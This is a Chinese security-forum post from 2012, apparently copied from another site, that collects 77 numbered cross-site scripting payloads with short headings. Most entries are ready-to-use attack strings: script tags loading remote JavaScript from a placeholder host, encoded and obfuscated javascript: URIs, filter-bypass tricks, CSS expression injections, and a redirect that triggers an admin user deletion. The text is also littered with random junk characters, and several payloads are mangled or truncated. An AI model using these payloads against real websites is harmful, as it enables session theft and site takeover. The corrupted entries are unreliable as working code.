找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3533|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。" s+ _6 J. t' h+ U
5 c3 f5 p+ ?/ {5 l
(1)普通的XSS JavaScript注入
3 t7 F& i; N( l- f <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
0 |# w$ E: b1 r  F  i! F+ |
. n0 a, f( R; D) v' ^9 P7 @ (2)IMG标签XSS使用JavaScript命令
7 S$ S  p) R) z' R" } <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 @& H$ V2 T9 }4 G* F0 m% R; ?* v
+ \, C/ y' H7 e/ h# ]6 h! M6 B9 m1 R# o (3)IMG标签无分号无引号
  k9 @0 b2 g& n/ M# r <IMG SRC=javascript:alert(‘XSS’)>; n! Y, g4 L/ Z4 T3 o

/ x( k# w& {: u3 c2 D9 A! r9 A (4)IMG标签大小写不敏感
$ g/ u3 m0 \! o! o0 y. g& u <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
1 ?% _4 \: ^: }1 X% J& U
3 \+ `& N# C  J. z- L' ` (5)HTML编码(必须有分号)
: R8 I  j; @: h: h! C <IMG SRC=javascript:alert(“XSS”)>
( j7 b  W/ o) j3 Q& G4 ~# G
- F' U: n3 W. q (6)修正缺陷IMG标签4 M  ^; X1 K0 Z5 i1 m* _0 u8 ^. f
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>% H, m: u" z4 i! @" m

! M$ j6 ^0 }3 ]9 U5 e8 K* o (7)formCharCode标签(计算器)
* P% |0 p1 k6 a# M <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>& i4 O( }& b8 s
: @; Q4 V# f# `9 K
(8)UTF-8的Unicode编码(计算器)3 g' r/ u" ]; i9 _6 c. h+ Y
<IMG SRC=jav..省略..S')>7 A* D- j6 |" n/ }2 {& K
3 C( \% h& C4 H$ [& @
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
6 s  f2 I1 Z& m, p) O$ F5 G <IMG SRC=jav..省略..S')>
$ r) D& [( s5 z8 q7 f7 _8 I0 y2 |+ V! O! h9 k1 P. C* _
(10)十六进制编码也是没有分号(计算器)# v6 S  t" G1 R3 T0 y+ p  |6 P7 F
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
# U) |5 ?* C9 D* m6 [. Y+ Q* q' x) M. F8 z7 ~
(11)嵌入式标签,将Javascript分开
; w, h  B9 g9 ] <IMG SRC=”jav ascript:alert(‘XSS’);”>0 w5 G% H% n6 X) _* O* r# j

1 _& i% T$ a8 H! E6 x' ^2 o (12)嵌入式编码标签,将Javascript分开
4 N8 d. \* e5 e- Z) H# K+ b( W <IMG SRC=”jav ascript:alert(‘XSS’);”>
; P0 e5 ^% `6 w; r3 ^* |" b' h1 C8 ~) o: A4 q' L; b7 C
(13)嵌入式换行符2 O  _$ l7 `1 o/ z! [5 S! }% W
<IMG SRC=”jav ascript:alert(‘XSS’);”>& w$ U/ E+ \7 K/ W
3 Q; V1 ], Y* S. x7 T
(14)嵌入式回车/ ^$ u, z7 A& ]" b
<IMG SRC=”jav ascript:alert(‘XSS’);”>8 C8 G. B5 q' k0 p: P" g

: [% K& q  w5 X- _ (15)嵌入式多行注入JavaScript,这是XSS极端的例子
8 S7 [: J" U( m; X <IMG SRC=”javascript:alert(‘XSS‘)”>
& p4 P4 P: M+ d$ G0 b
; V: g4 D5 m- r* S& o, p (16)解决限制字符(要求同页面)
( U1 C6 a- R+ E: V; c <script>z=’document.’</script>8 j: g, L# q2 N% o3 m4 X7 ?  k
<script>z=z+’write(“‘</script>
5 Y/ B) [, h4 Q/ a( F9 `  R8 A" ~ <script>z=z+’<script’</script>: T5 \) O6 [. \; D
<script>z=z+’ src=ht’</script>
9 W# J3 m1 N2 T$ J <script>z=z+’tp://ww’</script>3 M5 l# S6 v2 W  D: ?* N4 l
<script>z=z+’w.shell’</script>6 h) F. Q- g# C1 S! C- R
<script>z=z+’.net/1.’</script>5 P* t1 t8 b4 W0 d! m
<script>z=z+’js></sc’</script>: s; Y: S) F7 p# V* W" h
<script>z=z+’ript>”)’</script>. ~5 h3 Y0 w* k! u1 U
<script>eval_r(z)</script>. p# X! o, |; Y8 K1 c

) V" C' u0 b! R (17)空字符
* @+ t( g- C" K perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
! j, a  _- k- k8 W8 \" {5 m+ `8 I5 e( _1 V
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用* Q9 S; e4 ~& N
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
5 G6 w5 x: Q3 o2 Z2 q5 m1 ^" K+ \# p# Q5 ~, }8 n
(19)Spaces和meta前的IMG标签
0 ~4 y+ u% s% b' V3 U# J <IMG SRC=”   javascript:alert(‘XSS’);”>
9 ^; N! R3 F0 _4 C3 C0 l" ~( ~8 h; \$ T& w0 a
(20)Non-alpha-non-digit XSS
3 u5 U1 d. y- y6 p/ Z) P <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
6 k& @( w+ ~) [. b4 e6 d# j) h, W- a* e9 k* v
(21)Non-alpha-non-digit XSS to 2
/ m9 I. Z+ s* o& {. U <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
- ]$ G5 u3 h, k; O+ W9 A5 E- }6 _
(22)Non-alpha-non-digit XSS to 3: M6 c# T. P* g1 c) I: I4 S
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
2 B0 N! w0 k7 I% i4 y# k( @' Y3 Q4 q
(23)双开括号
) W& z2 h: {9 W7 c) l <<SCRIPT>alert(“XSS”);//<</SCRIPT>
1 D0 G% e! d9 Y7 S' W. O3 C( z
$ f9 B! s# c& b% [6 v  T (24)无结束脚本标记(仅火狐等浏览器)
* f. f4 q3 ^1 }$ v, ]% @ <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
2 @% c; c! |- E6 x+ l0 f0 M0 o: }9 Y% }5 e; m1 S& ?0 A
(25)无结束脚本标记2
% U# w/ n! F6 i5 k: f' I <SCRIPT SRC=//3w.org/XSS/xss.js>
+ Y8 ]9 x- s6 Y
/ P& J" n# P' j' O (26)半开的HTML/JavaScript XSS4 N# ]# w1 q! k- s8 q/ y4 _" i
<IMG SRC=”javascript:alert(‘XSS’)”: b! f+ b$ x7 m% k0 x( Q

, h6 }0 o6 Z7 \- J# [ (27)双开角括号
' c8 W6 H' k/ Z! j4 ~* P <iframe src=http://3w.org/XSS.html <+ v, O0 s  Z0 H" r, u
7 o+ T& a" b  l( k$ M9 O) r
(28)无单引号 双引号 分号
$ F4 ~4 H" Y: _3 X6 N <SCRIPT>a=/XSS/
- y2 ]) K/ P4 t3 b5 r alert(a.source)</SCRIPT>% S6 I, Y0 x7 D6 j- {' Y
7 ]/ m+ B" f$ V/ b4 s
(29)换码过滤的JavaScript6 v2 [7 n; a' M) k+ P& X
\”;alert(‘XSS’);/// B1 ?( F5 j5 V8 n2 b

, J/ A7 R% D7 m$ o5 Z; K/ M/ z (30)结束Title标签( X' x3 o' ?$ U& b
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
: `3 C) N9 o$ h5 g9 V/ r6 K4 c
4 M' a" W0 {; x' u% e# E1 d (31)Input Image
% j; o; S5 n3 [+ K4 y2 @) z' w <INPUT SRC=”javascript:alert(‘XSS’);”>3 U5 ^6 J+ u8 w+ \2 i9 l$ }

! b4 X6 E, ^9 |: T3 Q* Y. V( R (32)BODY Image
7 a& G% U8 b+ X% n) B+ F- s <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
/ g- ^2 E, w) ?: E1 z2 o6 Y, b* N& A8 v% r# Q0 B% u. Z
(33)BODY标签$ u# J! @6 f8 v5 K" {$ g4 v0 ~
<BODY(‘XSS’)>" _5 p* f# w! L/ p* H1 {9 \

; `$ o) x& J" ~& d5 t, f (34)IMG Dynsrc
, B& M* c: j5 g+ H8 t! k9 \ <IMG DYNSRC=”javascript:alert(‘XSS’)”>/ i! A$ ~7 _3 S

- j8 x) U- D- T9 G& [% A5 } (35)IMG Lowsrc
- w& Z" F/ t, k6 @ <IMG LOWSRC=”javascript:alert(‘XSS’)”>% D0 p6 S9 ?4 N! N1 A4 ~9 c
' m& s4 s" J2 [; V
(36)BGSOUND
* {3 k  R/ U! d2 M: J- G7 U <BGSOUND SRC=”javascript:alert(‘XSS’);”>
  D1 `% R# g7 m7 f7 r! p3 _+ a0 y+ `3 w7 z' k( X# U: N" c, ?0 ]  y* v7 a* h
(37)STYLE sheet
& Y( m" f- v4 e0 h <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
* T! ~/ h3 _' A# l: o+ Q- e' [( L" e- S4 o* B9 d& `* m( I
(38)远程样式表8 Y6 g7 e4 J1 `4 j
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
1 ?2 h1 z! f0 j- B
0 L& `( O( W% h; j& u (39)List-style-image(列表式)4 n# e, d: {" J3 [+ ~: u
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
$ L: s2 z" i- v5 C. c
- u* }$ S9 ^% @% R. G" ~2 a* h/ o: t (40)IMG VBscript; B4 ]5 ~1 Q! G. g  q" r
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS+ S0 R. M; i* R* j% [- B
3 r6 y" C9 v  G5 ^
(41)META链接url" `/ _6 z( Y  t/ ?2 x
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
7 ~- ]; P$ e3 o" V
' q* U) }6 O$ m; S5 c+ N) ]+ P (42)Iframe* y8 D( S" M8 X3 {) Z5 ~% r$ j& o
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ C7 Y( Z# K0 l& j, B' m( e1 Q+ u6 U7 S9 w! T& @' d* D% P
(43)Frame
- V+ [- \/ ?% p! T* F. g) e <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET># d% H( R9 r. p; C- }

$ N3 {& n8 h5 [  I5 t  _, ?! h (44)Table5 e2 |9 j1 P& t6 O. D1 p
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
* I8 p/ A# L9 G5 P) s0 e$ f9 ]! ]0 j6 O, ~
(45)TD
4 S/ ~& F8 e  \ <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
) ?' \- |  l3 H& \$ P/ e
; l; B; c% J* e- P (46)DIV background-image3 l& b/ I7 v1 ]3 b/ f/ e
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) n3 F5 w: Z# U, R' V5 R

% \" W; u4 K  W) Z (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
7 l7 N  A7 {& V2 ], X/ T7 ~  i7 I; ~ <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 q! S  u( _! A! F( K% r# e! E) C
$ o5 L5 x' o) [2 B (48)DIV expression% J! {3 `7 T5 T3 P
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
+ @7 G' }1 c% m. |- o$ y) d' t
% M& _* j% f8 A: b2 X (49)STYLE属性分拆表达: W0 @" l- o# u6 o
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: T+ Y4 N) t1 I! g& E3 f0 {6 |: _0 F
(50)匿名STYLE(组成:开角号和一个字母开头)
: j, {! S  h0 |. x <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>! e; d/ a7 X4 P
' G, ]6 Y% ?0 r$ i
(51)STYLE background-image; }  i) j+ H: [$ U7 C% L
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>* M/ H. j5 q$ o+ O: U2 Q

+ D7 Q) V1 P, G" [+ O. q1 v (52)IMG STYLE方式
/ \8 q! I* D$ |  G  v: n, y0 A exppression(alert(“XSS”))’>. h, a1 Y% Y, Q' t- N
9 O$ G6 S# A- B3 X# @8 N8 T
(53)STYLE background9 @1 P  y0 ]2 r9 u0 }; K
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
( x6 P: x8 D5 J- o6 Q
! z' D9 p2 X6 } (54)BASE, H( h5 k/ h) v& p
<BASE HREF=”javascript:alert(‘XSS’);//”>
7 r- c3 ~0 h! B; q3 X1 m( D4 a1 W+ @% y9 j9 @! m  h  M
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS* I: T, K5 _0 ?/ b; O
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>1 m' R5 R6 M& L! s$ [! I+ ]

0 |/ b4 W/ S* }0 k" z (56)在flash中使用ActionScrpt可以混进你XSS的代码& l3 X, H  u7 l! H$ H
a=”get”;1 r; t! T$ e( a! h
b=”URL(\”";3 v1 p) \4 B8 E# c( C+ T$ o
c=”javascript:”;' }% s9 l) N% L
d=”alert(‘XSS’);\”)”;
" j1 r3 U' v  l9 R$ m0 J) c9 p' c% | eval_r(a+b+c+d);- L! ~! H0 }+ p7 b) N

; F; [) M7 a' h% T' q4 g (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
( G' A5 N$ A, ~$ s" X <HTML xmlns:xss>3 A- n, N9 c! y
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>" Z! r; A, a' M% T3 o! S
<xss:xss>XSS</xss:xss>/ K2 I2 ?% Q# t2 r$ J' N
</HTML>6 L1 Z. k, B1 T3 f" q! E# B

' w0 }6 j, i0 n' ? (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
$ [% n& i+ y3 d <SCRIPT SRC=””></SCRIPT>) s& c2 ?' W2 [" C1 K

0 b' U: `' _! Z/ v' r* _ (59)IMG嵌入式命令,可执行任意命令1 n" e3 w( R6 D2 m- B
<IMG SRC=”http://www.XXX.com/a.php?a=b”>5 R" H* y) X% m9 q. s: a6 W
' r& f1 r) t; ^1 d7 \. O0 k  O! G- s
(60)IMG嵌入式命令(a.jpg在同服务器)3 S; H1 u3 N8 K  D" K
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
4 y3 b8 m! T9 E7 a; t7 n  [+ Q0 @% G, J! G- x& H0 G
(61)绕符号过滤
; `" m7 x/ n) n <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ `+ U7 N5 H, ^& T4 F
, }6 T) Y1 v4 \4 l' m1 x (62)
( g8 }; T$ P/ c7 w( x0 v <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>- e" @! Z" k* a: }/ {2 }

# {* n1 S  L  Z& h& ^  F (63)% X8 O! g1 l: |1 |) W5 P
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>, J2 H( X9 W) @

1 R' S+ v" d! S( I* v (64)
/ [+ I% q! ?7 S, X7 W7 a <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>* B4 w  |: |0 b* @% S( l) [
/ c/ a0 `, z& |' h
(65)/ N& C9 H5 X0 W- V) S! S9 q" t' f
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
" J% E% S- _1 }1 ?5 E' F
% V8 C: W  O% z  r5 { (66)
  ^8 q& p$ Q3 `) N$ @' c$ {7 ~ <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
; `. h9 u3 c* N! [3 @
9 A9 W8 \# S/ C# y (67)
! s% j  w. }# p <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
! Z8 N$ i( U4 I8 G& Z( B# a4 H4 d
(68)URL绕行
! a* A8 K* P3 ]0 l7 }: f <A HREF=”http://127.0.0.1/”>XSS</A>
0 N1 ?+ I+ R- g) r8 k, X3 E; ~! Z5 ^. c5 S8 o9 B, Z8 u( ?! R8 K
(69)URL编码2 [" E, B# x/ ^1 c
<A HREF=”http://3w.org”>XSS</A>
# U2 U* p& G# C! K
, I: W' t$ _* U& |. c1 h (70)IP十进制
0 |1 `7 w3 y& P2 B8 @ <A HREF=”http://3232235521″>XSS</A>& A, [8 j1 U, N, U5 b
4 V" t" U+ M5 R3 q, m3 X$ _8 ^8 s
(71)IP十六进制
0 k6 ?4 r: N2 ]8 c  w: R5 j; [ <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
* X9 K. m/ Z' N, d  t: x) M. N' T. C4 c
(72)IP八进制
  R5 J' O- E+ n$ B/ o <A HREF=”http://0300.0250.0000.0001″>XSS</A>
) Z% T7 K" k# P  {2 P+ A! Q7 c$ p# u8 O# e
(73)混合编码
; k* J! c+ {; P( g+ V6 C* j$ I <A HREF=”h
! V' U0 }% W" d$ i tt p://6 6.000146.0×7.147/”">XSS</A>
- |8 h% q. i( E: G& L+ v9 M
( y7 @& X- g, J5 } (74)节省[http:]
' I# ~# ?4 o3 H! S1 j <A HREF=”//www.google.com/”>XSS</A>
6 ~4 C. F  k( \$ g8 \- j
+ ~7 ^) s# l+ M; u7 M (75)节省[www]5 A' n9 ]* m" b
<A HREF=”http://google.com/”>XSS</A>
- O- A+ k. |- z+ @& S, X3 ~; T+ k  \& T8 w1 n5 V
(76)绝对点绝对DNS
) |$ e; H  H( r+ ^ <A HREF=”http://www.google.com./”>XSS</A>
0 X: ^3 X/ A' \8 N3 A* e& z& B  M. z% Q' ?7 F3 `
(77)javascript链接
5 L5 C5 {, \! ?9 x. a7 J0 X1 ~ <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表